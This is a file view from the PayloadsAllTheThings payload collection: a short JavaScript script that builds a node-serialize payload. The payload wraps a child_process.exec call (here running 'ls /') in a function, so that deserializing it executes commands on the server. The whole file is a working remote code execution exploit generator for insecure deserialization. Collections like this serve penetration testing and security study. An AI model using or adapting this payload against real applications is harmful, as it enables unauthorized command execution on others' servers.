PayloadsAllTheThings/Insecure Deserialization/Files/node-serialize.js

5 lines
228 B
JavaScript
Raw Normal View History

var y = {
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));